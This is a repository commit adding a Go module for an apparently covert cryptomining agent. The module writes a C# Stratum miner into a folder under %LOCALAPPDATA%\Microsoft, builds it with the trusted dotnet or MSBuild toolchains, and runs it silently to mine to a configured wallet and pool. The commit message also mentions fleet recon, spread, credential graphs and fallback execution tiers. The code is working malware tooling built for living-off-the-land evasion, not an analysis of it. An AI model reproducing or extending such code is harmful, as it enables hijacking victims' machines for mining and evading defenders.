Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
236
agent/miner/dotnet_launcher.go
Normal file
236
agent/miner/dotnet_launcher.go
Normal file
@@ -0,0 +1,236 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath.
|
||||
var (
|
||||
dotnetBin = "dotnet"
|
||||
msbuildBin = "MSBuild"
|
||||
dotnetExecCommand = exec.Command
|
||||
)
|
||||
|
||||
// SetDotnetBinPath overrides the dotnet CLI binary (restore with "").
|
||||
func SetDotnetBinPath(path string) {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
dotnetBin = "dotnet"
|
||||
return
|
||||
}
|
||||
dotnetBin = path
|
||||
}
|
||||
|
||||
// SetMSBuildBinPath overrides the MSBuild binary (restore with "").
|
||||
func SetMSBuildBinPath(path string) {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
msbuildBin = "MSBuild"
|
||||
return
|
||||
}
|
||||
msbuildBin = path
|
||||
}
|
||||
|
||||
// SetDotnetExecCommand restores default when fn is nil.
|
||||
func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
dotnetExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
dotnetExecCommand = fn
|
||||
}
|
||||
|
||||
// DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL).
|
||||
type DotnetLauncher struct {
|
||||
cfg config.RuntimeConfig
|
||||
workDir string
|
||||
tool string // "dotnet" or "msbuild"
|
||||
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
// NewDotnetLauncher validates platform, pool, and toolchain availability.
|
||||
func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) {
|
||||
if runtime.GOOS != "windows" {
|
||||
return nil, fmt.Errorf("dotnet tier requires Windows")
|
||||
}
|
||||
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
|
||||
return nil, fmt.Errorf("pool host/port required for dotnet stratum tier")
|
||||
}
|
||||
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||
return nil, fmt.Errorf("wallet required for dotnet stratum tier")
|
||||
}
|
||||
tool, err := resolveDotnetToolchain()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
workDir, err := lotlWorkDir(cfg, "Stratum")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil
|
||||
}
|
||||
|
||||
func resolveDotnetToolchain() (string, error) {
|
||||
if _, err := exec.LookPath(dotnetBin); err == nil {
|
||||
return "dotnet", nil
|
||||
}
|
||||
if _, err := exec.LookPath(msbuildBin); err == nil {
|
||||
return "msbuild", nil
|
||||
}
|
||||
return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH")
|
||||
}
|
||||
|
||||
// WorkDir returns the LOTL compile output directory.
|
||||
func (l *DotnetLauncher) WorkDir() string {
|
||||
return l.workDir
|
||||
}
|
||||
|
||||
// Toolchain reports dotnet or msbuild.
|
||||
func (l *DotnetLauncher) Toolchain() string {
|
||||
return l.tool
|
||||
}
|
||||
|
||||
// Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute.
|
||||
func (l *DotnetLauncher) Start() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.running {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := l.materializeProject(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := l.compile(); err != nil {
|
||||
return err
|
||||
}
|
||||
cmd, err := l.launchMiner()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
l.cmd = cmd
|
||||
l.running = true
|
||||
log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d",
|
||||
l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
|
||||
go l.waitExit()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *DotnetLauncher) materializeProject() error {
|
||||
if err := os.MkdirAll(l.workDir, 0o755); err != nil {
|
||||
return fmt.Errorf("mkdir workdir: %w", err)
|
||||
}
|
||||
csPath := filepath.Join(l.workDir, "Program.cs")
|
||||
if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil {
|
||||
return fmt.Errorf("write Program.cs: %w", err)
|
||||
}
|
||||
projPath := filepath.Join(l.workDir, "StratumMiner.csproj")
|
||||
if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil {
|
||||
return fmt.Errorf("write csproj: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *DotnetLauncher) compile() error {
|
||||
switch l.tool {
|
||||
case "dotnet":
|
||||
cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q")
|
||||
cmd.Dir = l.workDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return nil
|
||||
case "msbuild":
|
||||
proj := filepath.Join(l.workDir, "StratumMiner.csproj")
|
||||
cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q")
|
||||
cmd.Dir = l.workDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("unknown toolchain %q", l.tool)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) {
|
||||
switch l.tool {
|
||||
case "dotnet":
|
||||
cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build")
|
||||
cmd.Dir = l.workDir
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, fmt.Errorf("dotnet run failed: %w", err)
|
||||
}
|
||||
return cmd, nil
|
||||
case "msbuild":
|
||||
exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe")
|
||||
if _, err := os.Stat(exe); err != nil {
|
||||
exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe")
|
||||
}
|
||||
cmd := dotnetExecCommand(exe)
|
||||
cmd.Dir = l.workDir
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, fmt.Errorf("run compiled exe failed: %w", err)
|
||||
}
|
||||
return cmd, nil
|
||||
default:
|
||||
return nil, fmt.Errorf("unknown toolchain %q", l.tool)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *DotnetLauncher) waitExit() {
|
||||
if l.cmd == nil {
|
||||
return
|
||||
}
|
||||
err := l.cmd.Wait()
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
if err != nil {
|
||||
log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err)
|
||||
} else {
|
||||
log.Printf("[dotnet-tier] miner process stopped")
|
||||
}
|
||||
}
|
||||
|
||||
// Stop terminates the running LOTL miner process.
|
||||
func (l *DotnetLauncher) Stop() {
|
||||
l.mu.Lock()
|
||||
cmd := l.cmd
|
||||
running := l.running
|
||||
l.mu.Unlock()
|
||||
if !running || cmd == nil {
|
||||
return
|
||||
}
|
||||
if cmd.Process != nil {
|
||||
_ = cmd.Process.Kill()
|
||||
}
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
}
|
||||
|
||||
// Running reports whether the LOTL miner is active.
|
||||
func (l *DotnetLauncher) Running() bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.running
|
||||
}
|
||||
Reference in New Issue
Block a user